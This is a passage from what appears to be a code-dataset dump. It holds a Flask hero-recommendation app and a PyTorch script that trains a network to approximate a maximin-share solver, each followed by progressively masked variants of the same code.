"<import token>\n<assignment token>\n\n\[email protected]('/')\ndef root():\n return 'Test!'\n\n\[email protected]('/federal/geographic')\ndef federal_geographic():\n pass\n\n\n<function token>\n\n\[email protected]('/state/geographic')\ndef state_geographic():\n pass\n\n\[email protected]('/local/temporal')\ndef local_temporal():\n pass\n\n\n<code token>\n",
"<import token>\n<assignment token>\n\n\[email protected]('/')\ndef root():\n return 'Test!'\n\n\[email protected]('/federal/geographic')\ndef federal_geographic():\n pass\n\n\n<function token>\n<function token>\n\n\[email protected]('/local/temporal')\ndef local_temporal():\n pass\n\n\n<code token>\n",
"<import token>\n<assignment token>\n<function token>\n\n\[email protected]('/federal/geographic')\ndef federal_geographic():\n pass\n\n\n<function token>\n<function token>\n\n\[email protected]('/local/temporal')\ndef local_temporal():\n pass\n\n\n<code token>\n",
"<import token>\n<assignment token>\n<function token>\n\n\[email protected]('/federal/geographic')\ndef federal_geographic():\n pass\n\n\n<function token>\n<function token>\n<function token>\n<code token>\n",
"<import token>\n<assignment token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<code token>\n"
] | false |
9,929 |
06605bbd91c62a02a66770ca3f37a9d2d1401ccb
|
from flask import Flask, render_template, url_for, request, jsonify
from model.model import load_site_config, load_hero_mapping, load_pretrained_model, valid_input, data_to_feature
from model.model import combine_list, hero_ids
from itertools import product
import numpy as np
app = Flask(__name__,static_folder='./static')
@app.route('/')
def demo():
return render_template("home.html",hero_mapping = hero_mapping)
@app.route('/predict', methods=['POST'])
def predict():
# do check to validate data input
valid, res = valid_input(list(request.json))
if not valid:
return res
else:
feature = data_to_feature(res)
prob = model.predict_proba(feature)[0]
# prob: probabilities
ret_val = dict()
ret_val[0] = prob[0]
ret_val[1] = prob[1]
return ret_val
@app.route('/recommend', methods=['POST'])
def recommend():
idx = -1
raw_data = list(request.json)
for i, id_str in enumerate(list(request.json)):
if id_str == -1:
idx = i
break
if idx == -1:
return "ERROR: illegal input."
predict_side = 0 if idx < 5 else 1
hero_2_prob = dict()
max_prob = 0
recommended_hero_id = -1
for hero_id in hero_ids:
raw_data[idx] = str(hero_id)
valid, current_data = valid_input(raw_data)
if not valid:
continue
feature = data_to_feature(current_data)
prob = model.predict_proba(feature)[0,predict_side]
hero_2_prob[hero_id] = prob
if prob > max_prob:
recommended_hero_id = hero_id
max_prob = prob
ret_val = dict()
ret_val['hero_id'] = recommended_hero_id
ret_val['hero_name'] = inverse_hero_mapping[recommended_hero_id]
return ret_val
if __name__ == '__main__':
# site initialization
config = load_site_config('App/model/site_config.json')
hero_mapping, inverse_hero_mapping = load_hero_mapping(config['hero_mapping_path'])
model = load_pretrained_model(config['model_path'])
app.run(debug=True)
|
[
"from flask import Flask, render_template, url_for, request, jsonify\nfrom model.model import load_site_config, load_hero_mapping, load_pretrained_model, valid_input, data_to_feature\nfrom model.model import combine_list, hero_ids\nfrom itertools import product\nimport numpy as np\n\napp = Flask(__name__,static_folder='./static')\n\n\[email protected]('/')\ndef demo():\n return render_template(\"home.html\",hero_mapping = hero_mapping)\n\[email protected]('/predict', methods=['POST'])\ndef predict():\n # do check to validate data input\n valid, res = valid_input(list(request.json))\n if not valid:\n return res\n else:\n feature = data_to_feature(res)\n prob = model.predict_proba(feature)[0]\n # prob: probabilities\n ret_val = dict()\n ret_val[0] = prob[0]\n ret_val[1] = prob[1]\n return ret_val\n\[email protected]('/recommend', methods=['POST'])\ndef recommend():\n idx = -1\n raw_data = list(request.json)\n for i, id_str in enumerate(list(request.json)):\n if id_str == -1:\n idx = i\n break\n if idx == -1:\n return \"ERROR: illegal input.\"\n \n predict_side = 0 if idx < 5 else 1\n hero_2_prob = dict()\n max_prob = 0\n recommended_hero_id = -1\n for hero_id in hero_ids:\n raw_data[idx] = str(hero_id)\n valid, current_data = valid_input(raw_data)\n if not valid:\n continue\n feature = data_to_feature(current_data)\n prob = model.predict_proba(feature)[0,predict_side]\n hero_2_prob[hero_id] = prob\n if prob > max_prob:\n recommended_hero_id = hero_id\n max_prob = prob\n ret_val = dict()\n ret_val['hero_id'] = recommended_hero_id\n ret_val['hero_name'] = inverse_hero_mapping[recommended_hero_id]\n return ret_val\n\n\nif __name__ == '__main__':\n\n # site initialization\n config = load_site_config('App/model/site_config.json')\n hero_mapping, inverse_hero_mapping = load_hero_mapping(config['hero_mapping_path'])\n model = load_pretrained_model(config['model_path'])\n \n app.run(debug=True)",
"from flask import Flask, render_template, url_for, request, jsonify\nfrom model.model import load_site_config, load_hero_mapping, load_pretrained_model, valid_input, data_to_feature\nfrom model.model import combine_list, hero_ids\nfrom itertools import product\nimport numpy as np\napp = Flask(__name__, static_folder='./static')\n\n\[email protected]('/')\ndef demo():\n return render_template('home.html', hero_mapping=hero_mapping)\n\n\[email protected]('/predict', methods=['POST'])\ndef predict():\n valid, res = valid_input(list(request.json))\n if not valid:\n return res\n else:\n feature = data_to_feature(res)\n prob = model.predict_proba(feature)[0]\n ret_val = dict()\n ret_val[0] = prob[0]\n ret_val[1] = prob[1]\n return ret_val\n\n\[email protected]('/recommend', methods=['POST'])\ndef recommend():\n idx = -1\n raw_data = list(request.json)\n for i, id_str in enumerate(list(request.json)):\n if id_str == -1:\n idx = i\n break\n if idx == -1:\n return 'ERROR: illegal input.'\n predict_side = 0 if idx < 5 else 1\n hero_2_prob = dict()\n max_prob = 0\n recommended_hero_id = -1\n for hero_id in hero_ids:\n raw_data[idx] = str(hero_id)\n valid, current_data = valid_input(raw_data)\n if not valid:\n continue\n feature = data_to_feature(current_data)\n prob = model.predict_proba(feature)[0, predict_side]\n hero_2_prob[hero_id] = prob\n if prob > max_prob:\n recommended_hero_id = hero_id\n max_prob = prob\n ret_val = dict()\n ret_val['hero_id'] = recommended_hero_id\n ret_val['hero_name'] = inverse_hero_mapping[recommended_hero_id]\n return ret_val\n\n\nif __name__ == '__main__':\n config = load_site_config('App/model/site_config.json')\n hero_mapping, inverse_hero_mapping = load_hero_mapping(config[\n 'hero_mapping_path'])\n model = load_pretrained_model(config['model_path'])\n app.run(debug=True)\n",
"<import token>\napp = Flask(__name__, static_folder='./static')\n\n\[email protected]('/')\ndef demo():\n return render_template('home.html', hero_mapping=hero_mapping)\n\n\[email protected]('/predict', methods=['POST'])\ndef predict():\n valid, res = valid_input(list(request.json))\n if not valid:\n return res\n else:\n feature = data_to_feature(res)\n prob = model.predict_proba(feature)[0]\n ret_val = dict()\n ret_val[0] = prob[0]\n ret_val[1] = prob[1]\n return ret_val\n\n\[email protected]('/recommend', methods=['POST'])\ndef recommend():\n idx = -1\n raw_data = list(request.json)\n for i, id_str in enumerate(list(request.json)):\n if id_str == -1:\n idx = i\n break\n if idx == -1:\n return 'ERROR: illegal input.'\n predict_side = 0 if idx < 5 else 1\n hero_2_prob = dict()\n max_prob = 0\n recommended_hero_id = -1\n for hero_id in hero_ids:\n raw_data[idx] = str(hero_id)\n valid, current_data = valid_input(raw_data)\n if not valid:\n continue\n feature = data_to_feature(current_data)\n prob = model.predict_proba(feature)[0, predict_side]\n hero_2_prob[hero_id] = prob\n if prob > max_prob:\n recommended_hero_id = hero_id\n max_prob = prob\n ret_val = dict()\n ret_val['hero_id'] = recommended_hero_id\n ret_val['hero_name'] = inverse_hero_mapping[recommended_hero_id]\n return ret_val\n\n\nif __name__ == '__main__':\n config = load_site_config('App/model/site_config.json')\n hero_mapping, inverse_hero_mapping = load_hero_mapping(config[\n 'hero_mapping_path'])\n model = load_pretrained_model(config['model_path'])\n app.run(debug=True)\n",
"<import token>\n<assignment token>\n\n\[email protected]('/')\ndef demo():\n return render_template('home.html', hero_mapping=hero_mapping)\n\n\[email protected]('/predict', methods=['POST'])\ndef predict():\n valid, res = valid_input(list(request.json))\n if not valid:\n return res\n else:\n feature = data_to_feature(res)\n prob = model.predict_proba(feature)[0]\n ret_val = dict()\n ret_val[0] = prob[0]\n ret_val[1] = prob[1]\n return ret_val\n\n\[email protected]('/recommend', methods=['POST'])\ndef recommend():\n idx = -1\n raw_data = list(request.json)\n for i, id_str in enumerate(list(request.json)):\n if id_str == -1:\n idx = i\n break\n if idx == -1:\n return 'ERROR: illegal input.'\n predict_side = 0 if idx < 5 else 1\n hero_2_prob = dict()\n max_prob = 0\n recommended_hero_id = -1\n for hero_id in hero_ids:\n raw_data[idx] = str(hero_id)\n valid, current_data = valid_input(raw_data)\n if not valid:\n continue\n feature = data_to_feature(current_data)\n prob = model.predict_proba(feature)[0, predict_side]\n hero_2_prob[hero_id] = prob\n if prob > max_prob:\n recommended_hero_id = hero_id\n max_prob = prob\n ret_val = dict()\n ret_val['hero_id'] = recommended_hero_id\n ret_val['hero_name'] = inverse_hero_mapping[recommended_hero_id]\n return ret_val\n\n\nif __name__ == '__main__':\n config = load_site_config('App/model/site_config.json')\n hero_mapping, inverse_hero_mapping = load_hero_mapping(config[\n 'hero_mapping_path'])\n model = load_pretrained_model(config['model_path'])\n app.run(debug=True)\n",
"<import token>\n<assignment token>\n\n\[email protected]('/')\ndef demo():\n return render_template('home.html', hero_mapping=hero_mapping)\n\n\[email protected]('/predict', methods=['POST'])\ndef predict():\n valid, res = valid_input(list(request.json))\n if not valid:\n return res\n else:\n feature = data_to_feature(res)\n prob = model.predict_proba(feature)[0]\n ret_val = dict()\n ret_val[0] = prob[0]\n ret_val[1] = prob[1]\n return ret_val\n\n\[email protected]('/recommend', methods=['POST'])\ndef recommend():\n idx = -1\n raw_data = list(request.json)\n for i, id_str in enumerate(list(request.json)):\n if id_str == -1:\n idx = i\n break\n if idx == -1:\n return 'ERROR: illegal input.'\n predict_side = 0 if idx < 5 else 1\n hero_2_prob = dict()\n max_prob = 0\n recommended_hero_id = -1\n for hero_id in hero_ids:\n raw_data[idx] = str(hero_id)\n valid, current_data = valid_input(raw_data)\n if not valid:\n continue\n feature = data_to_feature(current_data)\n prob = model.predict_proba(feature)[0, predict_side]\n hero_2_prob[hero_id] = prob\n if prob > max_prob:\n recommended_hero_id = hero_id\n max_prob = prob\n ret_val = dict()\n ret_val['hero_id'] = recommended_hero_id\n ret_val['hero_name'] = inverse_hero_mapping[recommended_hero_id]\n return ret_val\n\n\n<code token>\n",
"<import token>\n<assignment token>\n\n\[email protected]('/')\ndef demo():\n return render_template('home.html', hero_mapping=hero_mapping)\n\n\[email protected]('/predict', methods=['POST'])\ndef predict():\n valid, res = valid_input(list(request.json))\n if not valid:\n return res\n else:\n feature = data_to_feature(res)\n prob = model.predict_proba(feature)[0]\n ret_val = dict()\n ret_val[0] = prob[0]\n ret_val[1] = prob[1]\n return ret_val\n\n\n<function token>\n<code token>\n",
"<import token>\n<assignment token>\n\n\[email protected]('/')\ndef demo():\n return render_template('home.html', hero_mapping=hero_mapping)\n\n\n<function token>\n<function token>\n<code token>\n",
"<import token>\n<assignment token>\n<function token>\n<function token>\n<function token>\n<code token>\n"
] | false |
9,930 |
1f63f9234596787e4859b740d3a7fbfaacc9c0c8
|
import random
import glob
import json
import time
from torch.utils.data import Dataset, DataLoader, SubsetRandomSampler
from SimpleDataLoader import CustomDataset, get_params_from_filename
import numpy as np
from DNN_model import Net
import torch.optim as optim
import torch.nn as nn
import torch
from tqdm import tqdm
from MMS_compute import xpress_solver
import copy
path_to_data = 'Dataset'
def split_to_train_validation(path_to_data):
dataset = CustomDataset(path_to_data)
print(len(dataset))
batch_size = 300
validation_split = 0.2
shuffle_dataset = True
random_seed= 56
dataset_size = len(dataset)
indices = list(range(dataset_size))
split = int(np.floor(validation_split * dataset_size))
if shuffle_dataset :
np.random.seed(random_seed)
np.random.shuffle(indices)
train_indices, val_indices = indices[split:], indices[:split]
print(len(train_indices), len(val_indices))
# Creating PT data samplers and loaders:
train_sampler = SubsetRandomSampler(train_indices)
valid_sampler = SubsetRandomSampler(val_indices)
train_loader = DataLoader(dataset, batch_size=batch_size,
sampler=train_sampler)
validation_loader = DataLoader(dataset, batch_size=batch_size,
sampler=valid_sampler)
print(len(train_loader), len(validation_loader))
return train_loader, validation_loader
train_loader, validation_loader = split_to_train_validation(path_to_data)
net = Net()
loss_func = nn.MSELoss()
# loss_func = nn.L1Loss()
optimizer = optim.Adam(net.parameters(), lr=1e-4)
def compute_loss(dataloader, net):
loss = 0
if torch.cuda.is_available():
net.cuda()
net.eval()
n_batches = 0
with torch.no_grad():
for x, y in dataloader:
n_batches += 1
if torch.cuda.is_available():
x = x.cuda()
y = y.cuda()
pred = net(x)
loss += loss_func(pred, y).item()
loss = loss / n_batches
return loss
n_epochs = 50
pbar = tqdm(range(n_epochs))
validation_loss_vs_epoch = []
if torch.cuda.is_available():
net.cuda()
for epoch in pbar:
if len(validation_loss_vs_epoch) > 1:
print('epoch', epoch, ' val loss:' + '{0:.5f}'.format(validation_loss_vs_epoch[-1]))
net.train() # put the net into "training mode"
for x, y in train_loader:
y = y.to(torch.float32)
if torch.cuda.is_available():
x = x.cuda()
y = y.cuda()
optimizer.zero_grad()
pred = net(x)
loss = loss_func(pred, y)
loss.backward()
optimizer.step()
net.eval() # put the net into evaluation mode
valid_loss = compute_loss(validation_loader, net)
validation_loss_vs_epoch.append(valid_loss)
# n = 5
# m = 50
# max_val = 100
# values = [random.randrange(0, max_val + 1) for _ in range(m)]
# values.sort(reverse=True)
# values += [0]*50
# mms = xpress_solver(values,n)[0]
# sum_vals = sum(values)
# new_values = [val/sum_vals for val in values]
# pred = net(torch.FloatTensor([float(n)]+new_values))
# pred_num = float(pred.data[0])
# print(pred, mms, pred*sum_vals)
# print(pred_num*sum_vals)
def zero_pad(values, max_m):
m = len(values)
values += [0] * (max_m - m)
def solve_with_solver(values_copy, n):
return xpress_solver(values_copy, n)
def solve_with_net(values_copy, n):
start = time.time()
sum_vals = sum(values_copy)
new_values = [val / sum_vals for val in values_copy]
pred = net(torch.FloatTensor([float(n)] + new_values))
pred_num = float(pred.data[0])
final_result = pred_num*sum_vals
end = time.time()
return final_result, end-start
def test_net(path):
max_m = 100
filelist = glob.glob(path + '/*.json')
print(len(filelist))
test_result = dict()
filelist_len = len(filelist)
for count, filename in enumerate(filelist):
n, m, max_val = get_params_from_filename(filename)
data_list_in_file = []
with open(filename) as jsonFile:
data_list_in_file = json.load(jsonFile)
idx = random.randint(0, len(data_list_in_file)-1)
example=data_list_in_file[idx]
values = example[0]["values"]
values_copy = copy.deepcopy(values)
values_copy.sort(reverse=True)
solver_result, solver_time = solve_with_solver(values_copy, n)
zero_pad(values_copy, max_m)
net_result, net_time = solve_with_net(values_copy, n)
test_result[str((n, m, max_val))] = {
'values_idx': idx,
'solver_result': solver_result,
'solver_time':solver_time,
'net_result':net_result,
'net_time':net_time
}
if count % 20 == 0:
print(count, 'out of', filelist_len)
test_result_path = './TestResults/test_results.json'
with open(test_result_path, 'w+') as json_file:
json.dump(test_result, json_file, indent=4)
test_net(path_to_data)
|
[
"import random\nimport glob\nimport json\nimport time\n\nfrom torch.utils.data import Dataset, DataLoader, SubsetRandomSampler\nfrom SimpleDataLoader import CustomDataset, get_params_from_filename\nimport numpy as np\nfrom DNN_model import Net\nimport torch.optim as optim\nimport torch.nn as nn\nimport torch\nfrom tqdm import tqdm\nfrom MMS_compute import xpress_solver\nimport copy\n\n\npath_to_data = 'Dataset'\n\ndef split_to_train_validation(path_to_data):\n\n dataset = CustomDataset(path_to_data)\n print(len(dataset))\n\n batch_size = 300\n validation_split = 0.2\n shuffle_dataset = True\n random_seed= 56\n dataset_size = len(dataset)\n indices = list(range(dataset_size))\n split = int(np.floor(validation_split * dataset_size))\n if shuffle_dataset :\n np.random.seed(random_seed)\n np.random.shuffle(indices)\n train_indices, val_indices = indices[split:], indices[:split]\n print(len(train_indices), len(val_indices))\n\n # Creating PT data samplers and loaders:\n train_sampler = SubsetRandomSampler(train_indices)\n valid_sampler = SubsetRandomSampler(val_indices)\n\n train_loader = DataLoader(dataset, batch_size=batch_size,\n sampler=train_sampler)\n validation_loader = DataLoader(dataset, batch_size=batch_size,\n sampler=valid_sampler)\n\n print(len(train_loader), len(validation_loader))\n return train_loader, validation_loader\n\n\ntrain_loader, validation_loader = split_to_train_validation(path_to_data)\n\nnet = Net()\n\n\n\n\n\nloss_func = nn.MSELoss()\n# loss_func = nn.L1Loss()\noptimizer = optim.Adam(net.parameters(), lr=1e-4)\n\n\ndef compute_loss(dataloader, net):\n loss = 0\n\n if torch.cuda.is_available():\n net.cuda()\n net.eval()\n\n n_batches = 0\n with torch.no_grad():\n for x, y in dataloader:\n n_batches += 1\n\n if torch.cuda.is_available():\n x = x.cuda()\n y = y.cuda()\n pred = net(x)\n\n loss += loss_func(pred, y).item()\n\n loss = loss / n_batches\n return loss\n\n\n\n\nn_epochs = 50\n\npbar = tqdm(range(n_epochs))\nvalidation_loss_vs_epoch = []\n\nif torch.cuda.is_available():\n net.cuda()\n\nfor epoch in pbar:\n\n if len(validation_loss_vs_epoch) > 1:\n print('epoch', epoch, ' val loss:' + '{0:.5f}'.format(validation_loss_vs_epoch[-1]))\n\n net.train() # put the net into \"training mode\"\n for x, y in train_loader:\n y = y.to(torch.float32)\n\n if torch.cuda.is_available():\n x = x.cuda()\n y = y.cuda()\n\n optimizer.zero_grad()\n pred = net(x)\n loss = loss_func(pred, y)\n loss.backward()\n optimizer.step()\n\n net.eval() # put the net into evaluation mode\n\n valid_loss = compute_loss(validation_loader, net)\n\n validation_loss_vs_epoch.append(valid_loss)\n\n# n = 5\n# m = 50\n# max_val = 100\n# values = [random.randrange(0, max_val + 1) for _ in range(m)]\n# values.sort(reverse=True)\n# values += [0]*50\n# mms = xpress_solver(values,n)[0]\n# sum_vals = sum(values)\n# new_values = [val/sum_vals for val in values]\n# pred = net(torch.FloatTensor([float(n)]+new_values))\n# pred_num = float(pred.data[0])\n# print(pred, mms, pred*sum_vals)\n# print(pred_num*sum_vals)\n\n\ndef zero_pad(values, max_m):\n m = len(values)\n values += [0] * (max_m - m)\n\n\ndef solve_with_solver(values_copy, n):\n return xpress_solver(values_copy, n)\n\n\n\ndef solve_with_net(values_copy, n):\n start = time.time()\n sum_vals = sum(values_copy)\n new_values = [val / sum_vals for val in values_copy]\n pred = net(torch.FloatTensor([float(n)] + new_values))\n pred_num = float(pred.data[0])\n final_result = pred_num*sum_vals\n end = time.time()\n return final_result, end-start\n\ndef test_net(path):\n max_m = 100\n filelist = glob.glob(path + '/*.json')\n print(len(filelist))\n\n test_result = dict()\n filelist_len = len(filelist)\n for count, filename in enumerate(filelist):\n n, m, max_val = get_params_from_filename(filename)\n data_list_in_file = []\n with open(filename) as jsonFile:\n data_list_in_file = json.load(jsonFile)\n idx = random.randint(0, len(data_list_in_file)-1)\n example=data_list_in_file[idx]\n values = example[0][\"values\"]\n values_copy = copy.deepcopy(values)\n values_copy.sort(reverse=True)\n solver_result, solver_time = solve_with_solver(values_copy, n)\n\n zero_pad(values_copy, max_m)\n net_result, net_time = solve_with_net(values_copy, n)\n test_result[str((n, m, max_val))] = {\n 'values_idx': idx,\n 'solver_result': solver_result,\n 'solver_time':solver_time,\n 'net_result':net_result,\n 'net_time':net_time\n }\n if count % 20 == 0:\n print(count, 'out of', filelist_len)\n test_result_path = './TestResults/test_results.json'\n with open(test_result_path, 'w+') as json_file:\n json.dump(test_result, json_file, indent=4)\n\ntest_net(path_to_data)",
"import random\nimport glob\nimport json\nimport time\nfrom torch.utils.data import Dataset, DataLoader, SubsetRandomSampler\nfrom SimpleDataLoader import CustomDataset, get_params_from_filename\nimport numpy as np\nfrom DNN_model import Net\nimport torch.optim as optim\nimport torch.nn as nn\nimport torch\nfrom tqdm import tqdm\nfrom MMS_compute import xpress_solver\nimport copy\npath_to_data = 'Dataset'\n\n\ndef split_to_train_validation(path_to_data):\n dataset = CustomDataset(path_to_data)\n print(len(dataset))\n batch_size = 300\n validation_split = 0.2\n shuffle_dataset = True\n random_seed = 56\n dataset_size = len(dataset)\n indices = list(range(dataset_size))\n split = int(np.floor(validation_split * dataset_size))\n if shuffle_dataset:\n np.random.seed(random_seed)\n np.random.shuffle(indices)\n train_indices, val_indices = indices[split:], indices[:split]\n print(len(train_indices), len(val_indices))\n train_sampler = SubsetRandomSampler(train_indices)\n valid_sampler = SubsetRandomSampler(val_indices)\n train_loader = DataLoader(dataset, batch_size=batch_size, sampler=\n train_sampler)\n validation_loader = DataLoader(dataset, batch_size=batch_size, sampler=\n valid_sampler)\n print(len(train_loader), len(validation_loader))\n return train_loader, validation_loader\n\n\ntrain_loader, validation_loader = split_to_train_validation(path_to_data)\nnet = Net()\nloss_func = nn.MSELoss()\noptimizer = optim.Adam(net.parameters(), lr=0.0001)\n\n\ndef compute_loss(dataloader, net):\n loss = 0\n if torch.cuda.is_available():\n net.cuda()\n net.eval()\n n_batches = 0\n with torch.no_grad():\n for x, y in dataloader:\n n_batches += 1\n if torch.cuda.is_available():\n x = x.cuda()\n y = y.cuda()\n pred = net(x)\n loss += loss_func(pred, y).item()\n loss = loss / n_batches\n return loss\n\n\nn_epochs = 50\npbar = tqdm(range(n_epochs))\nvalidation_loss_vs_epoch = []\nif torch.cuda.is_available():\n net.cuda()\nfor epoch in pbar:\n if len(validation_loss_vs_epoch) > 1:\n print('epoch', epoch, ' val loss:' + '{0:.5f}'.format(\n validation_loss_vs_epoch[-1]))\n net.train()\n for x, y in train_loader:\n y = y.to(torch.float32)\n if torch.cuda.is_available():\n x = x.cuda()\n y = y.cuda()\n optimizer.zero_grad()\n pred = net(x)\n loss = loss_func(pred, y)\n loss.backward()\n optimizer.step()\n net.eval()\n valid_loss = compute_loss(validation_loader, net)\n validation_loss_vs_epoch.append(valid_loss)\n\n\ndef zero_pad(values, max_m):\n m = len(values)\n values += [0] * (max_m - m)\n\n\ndef solve_with_solver(values_copy, n):\n return xpress_solver(values_copy, n)\n\n\ndef solve_with_net(values_copy, n):\n start = time.time()\n sum_vals = sum(values_copy)\n new_values = [(val / sum_vals) for val in values_copy]\n pred = net(torch.FloatTensor([float(n)] + new_values))\n pred_num = float(pred.data[0])\n final_result = pred_num * sum_vals\n end = time.time()\n return final_result, end - start\n\n\ndef test_net(path):\n max_m = 100\n filelist = glob.glob(path + '/*.json')\n print(len(filelist))\n test_result = dict()\n filelist_len = len(filelist)\n for count, filename in enumerate(filelist):\n n, m, max_val = get_params_from_filename(filename)\n data_list_in_file = []\n with open(filename) as jsonFile:\n data_list_in_file = json.load(jsonFile)\n idx = random.randint(0, len(data_list_in_file) - 1)\n example = data_list_in_file[idx]\n values = example[0]['values']\n values_copy = copy.deepcopy(values)\n values_copy.sort(reverse=True)\n solver_result, solver_time = solve_with_solver(values_copy, n)\n zero_pad(values_copy, max_m)\n net_result, net_time = solve_with_net(values_copy, n)\n test_result[str((n, m, max_val))] = {'values_idx': idx,\n 'solver_result': solver_result, 'solver_time': solver_time,\n 'net_result': net_result, 'net_time': net_time}\n if count % 20 == 0:\n print(count, 'out of', filelist_len)\n test_result_path = './TestResults/test_results.json'\n with open(test_result_path, 'w+') as json_file:\n json.dump(test_result, json_file, indent=4)\n\n\ntest_net(path_to_data)\n",
"<import token>\npath_to_data = 'Dataset'\n\n\ndef split_to_train_validation(path_to_data):\n dataset = CustomDataset(path_to_data)\n print(len(dataset))\n batch_size = 300\n validation_split = 0.2\n shuffle_dataset = True\n random_seed = 56\n dataset_size = len(dataset)\n indices = list(range(dataset_size))\n split = int(np.floor(validation_split * dataset_size))\n if shuffle_dataset:\n np.random.seed(random_seed)\n np.random.shuffle(indices)\n train_indices, val_indices = indices[split:], indices[:split]\n print(len(train_indices), len(val_indices))\n train_sampler = SubsetRandomSampler(train_indices)\n valid_sampler = SubsetRandomSampler(val_indices)\n train_loader = DataLoader(dataset, batch_size=batch_size, sampler=\n train_sampler)\n validation_loader = DataLoader(dataset, batch_size=batch_size, sampler=\n valid_sampler)\n print(len(train_loader), len(validation_loader))\n return train_loader, validation_loader\n\n\ntrain_loader, validation_loader = split_to_train_validation(path_to_data)\nnet = Net()\nloss_func = nn.MSELoss()\noptimizer = optim.Adam(net.parameters(), lr=0.0001)\n\n\ndef compute_loss(dataloader, net):\n loss = 0\n if torch.cuda.is_available():\n net.cuda()\n net.eval()\n n_batches = 0\n with torch.no_grad():\n for x, y in dataloader:\n n_batches += 1\n if torch.cuda.is_available():\n x = x.cuda()\n y = y.cuda()\n pred = net(x)\n loss += loss_func(pred, y).item()\n loss = loss / n_batches\n return loss\n\n\nn_epochs = 50\npbar = tqdm(range(n_epochs))\nvalidation_loss_vs_epoch = []\nif torch.cuda.is_available():\n net.cuda()\nfor epoch in pbar:\n if len(validation_loss_vs_epoch) > 1:\n print('epoch', epoch, ' val loss:' + '{0:.5f}'.format(\n validation_loss_vs_epoch[-1]))\n net.train()\n for x, y in train_loader:\n y = y.to(torch.float32)\n if torch.cuda.is_available():\n x = x.cuda()\n y = y.cuda()\n optimizer.zero_grad()\n pred = net(x)\n loss = loss_func(pred, y)\n loss.backward()\n optimizer.step()\n net.eval()\n valid_loss = compute_loss(validation_loader, net)\n validation_loss_vs_epoch.append(valid_loss)\n\n\ndef zero_pad(values, max_m):\n m = len(values)\n values += [0] * (max_m - m)\n\n\ndef solve_with_solver(values_copy, n):\n return xpress_solver(values_copy, n)\n\n\ndef solve_with_net(values_copy, n):\n start = time.time()\n sum_vals = sum(values_copy)\n new_values = [(val / sum_vals) for val in values_copy]\n pred = net(torch.FloatTensor([float(n)] + new_values))\n pred_num = float(pred.data[0])\n final_result = pred_num * sum_vals\n end = time.time()\n return final_result, end - start\n\n\ndef test_net(path):\n max_m = 100\n filelist = glob.glob(path + '/*.json')\n print(len(filelist))\n test_result = dict()\n filelist_len = len(filelist)\n for count, filename in enumerate(filelist):\n n, m, max_val = get_params_from_filename(filename)\n data_list_in_file = []\n with open(filename) as jsonFile:\n data_list_in_file = json.load(jsonFile)\n idx = random.randint(0, len(data_list_in_file) - 1)\n example = data_list_in_file[idx]\n values = example[0]['values']\n values_copy = copy.deepcopy(values)\n values_copy.sort(reverse=True)\n solver_result, solver_time = solve_with_solver(values_copy, n)\n zero_pad(values_copy, max_m)\n net_result, net_time = solve_with_net(values_copy, n)\n test_result[str((n, m, max_val))] = {'values_idx': idx,\n 'solver_result': solver_result, 'solver_time': solver_time,\n 'net_result': net_result, 'net_time': net_time}\n if count % 20 == 0:\n print(count, 'out of', filelist_len)\n test_result_path = './TestResults/test_results.json'\n with open(test_result_path, 'w+') as json_file:\n json.dump(test_result, json_file, indent=4)\n\n\ntest_net(path_to_data)\n",
"<import token>\n<assignment token>\n\n\ndef split_to_train_validation(path_to_data):\n dataset = CustomDataset(path_to_data)\n print(len(dataset))\n batch_size = 300\n validation_split = 0.2\n shuffle_dataset = True\n random_seed = 56\n dataset_size = len(dataset)\n indices = list(range(dataset_size))\n split = int(np.floor(validation_split * dataset_size))\n if shuffle_dataset:\n np.random.seed(random_seed)\n np.random.shuffle(indices)\n train_indices, val_indices = indices[split:], indices[:split]\n print(len(train_indices), len(val_indices))\n train_sampler = SubsetRandomSampler(train_indices)\n valid_sampler = SubsetRandomSampler(val_indices)\n train_loader = DataLoader(dataset, batch_size=batch_size, sampler=\n train_sampler)\n validation_loader = DataLoader(dataset, batch_size=batch_size, sampler=\n valid_sampler)\n print(len(train_loader), len(validation_loader))\n return train_loader, validation_loader\n\n\n<assignment token>\n\n\ndef compute_loss(dataloader, net):\n loss = 0\n if torch.cuda.is_available():\n net.cuda()\n net.eval()\n n_batches = 0\n with torch.no_grad():\n for x, y in dataloader:\n n_batches += 1\n if torch.cuda.is_available():\n x = x.cuda()\n y = y.cuda()\n pred = net(x)\n loss += loss_func(pred, y).item()\n loss = loss / n_batches\n return loss\n\n\n<assignment token>\nif torch.cuda.is_available():\n net.cuda()\nfor epoch in pbar:\n if len(validation_loss_vs_epoch) > 1:\n print('epoch', epoch, ' val loss:' + '{0:.5f}'.format(\n validation_loss_vs_epoch[-1]))\n net.train()\n for x, y in train_loader:\n y = y.to(torch.float32)\n if torch.cuda.is_available():\n x = x.cuda()\n y = y.cuda()\n optimizer.zero_grad()\n pred = net(x)\n loss = loss_func(pred, y)\n loss.backward()\n optimizer.step()\n net.eval()\n valid_loss = compute_loss(validation_loader, net)\n validation_loss_vs_epoch.append(valid_loss)\n\n\ndef zero_pad(values, max_m):\n m = len(values)\n values += [0] * (max_m - m)\n\n\ndef solve_with_solver(values_copy, n):\n return xpress_solver(values_copy, n)\n\n\ndef solve_with_net(values_copy, n):\n start = time.time()\n sum_vals = sum(values_copy)\n new_values = [(val / sum_vals) for val in values_copy]\n pred = net(torch.FloatTensor([float(n)] + new_values))\n pred_num = float(pred.data[0])\n final_result = pred_num * sum_vals\n end = time.time()\n return final_result, end - start\n\n\ndef test_net(path):\n max_m = 100\n filelist = glob.glob(path + '/*.json')\n print(len(filelist))\n test_result = dict()\n filelist_len = len(filelist)\n for count, filename in enumerate(filelist):\n n, m, max_val = get_params_from_filename(filename)\n data_list_in_file = []\n with open(filename) as jsonFile:\n data_list_in_file = json.load(jsonFile)\n idx = random.randint(0, len(data_list_in_file) - 1)\n example = data_list_in_file[idx]\n values = example[0]['values']\n values_copy = copy.deepcopy(values)\n values_copy.sort(reverse=True)\n solver_result, solver_time = solve_with_solver(values_copy, n)\n zero_pad(values_copy, max_m)\n net_result, net_time = solve_with_net(values_copy, n)\n test_result[str((n, m, max_val))] = {'values_idx': idx,\n 'solver_result': solver_result, 'solver_time': solver_time,\n 'net_result': net_result, 'net_time': net_time}\n if count % 20 == 0:\n print(count, 'out of', filelist_len)\n test_result_path = './TestResults/test_results.json'\n with open(test_result_path, 'w+') as json_file:\n json.dump(test_result, json_file, indent=4)\n\n\ntest_net(path_to_data)\n",
